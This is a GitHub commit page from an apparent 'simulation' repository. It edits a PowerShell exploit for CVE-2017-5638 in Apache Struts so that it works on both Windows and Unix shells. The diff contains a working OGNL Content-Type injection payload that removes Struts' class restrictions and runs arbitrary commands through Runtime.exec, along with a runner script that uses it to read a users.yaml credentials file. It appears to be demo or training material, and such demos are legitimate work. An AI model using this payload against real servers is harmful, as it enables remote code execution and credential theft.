Skip to content
This repository was archived by the owner on Apr 27, 2026. It is now read-only.

Commit 419ca8d

Browse files
committed
refactor(script): improve command execution for OS compatibility
1 parent c4b6ba2 commit 419ca8d

2 files changed

Lines changed: 14 additions & 2 deletions

File tree

simulation/attack-script/exploit_cve_2017_5638.ps1

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -226,14 +226,22 @@ if ($DiagLevel -gt 0) {
226226
# 8. Write output bytes via getOutputStream() + setContentLength +
227227
# flushBuffer() to commit the response before JSP rendering.
228228
#
229+
# Select the OS shell that the JVM will spawn. The JVM runs on the same OS
230+
# as the server, so we detect which platform PowerShell is on (they match
231+
# in this local-demo scenario) and pick the appropriate shell binary.
232+
# Windows → cmd.exe /c <command> (no /bin/sh available)
233+
# Linux / macOS → /bin/sh -c <command>
234+
$shellExe = if ($IsWindows) { 'cmd.exe' } else { '/bin/sh' }
235+
$shellFlag = if ($IsWindows) { '/c' } else { '-c' }
236+
229237
$escapedCmd = $Command -replace "'", "''"
230238
$contentType = ".%{" +
231239
"(#container=#context['com.opensymphony.xwork2.ActionContext.container'])." +
232240
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." +
233241
"(#ognlUtil.getExcludedPackageNames().clear())." +
234242
"(#ognlUtil.getExcludedClasses().clear())." +
235243
"(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))." +
236-
"(#process=@java.lang.Runtime@getRuntime().exec(new String[]{'/bin/sh','-c','$escapedCmd'}))." +
244+
"(#process=@java.lang.Runtime@getRuntime().exec(new String[]{'$shellExe','$shellFlag','$escapedCmd'}))." +
237245
"(#process.waitFor())." +
238246
"(#out=new java.lang.String(#process.getInputStream().readAllBytes(),'UTF-8'))." +
239247
"(#response=@org.apache.struts2.ServletActionContext@getResponse())." +

simulation/attack-script/run.ps1

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,11 @@ While ($true) {
1818
}
1919
'a' {
2020
Write-Host "Running attack script - exfiltrating user credentials...`n"
21-
& "$PSScriptRoot/exploit_cve_2017_5638.ps1" -Command "cat data/users.yaml"
21+
# Use the OS-native read command so the JVM shell can execute it.
22+
# Windows cmd.exe uses 'type' with backslash paths.
23+
# Linux/macOS sh uses 'cat' with forward-slash paths.
24+
$readCmd = if ($IsWindows) { 'type data\users.yaml' } else { 'cat data/users.yaml' }
25+
& "$PSScriptRoot/exploit_cve_2017_5638.ps1" -Command $readCmd
2226
}
2327
'd' {
2428
Write-Host "`n=== DIAGNOSTIC: Running levels 1-6 ===" -ForegroundColor Magenta

0 commit comments

Comments
 (0)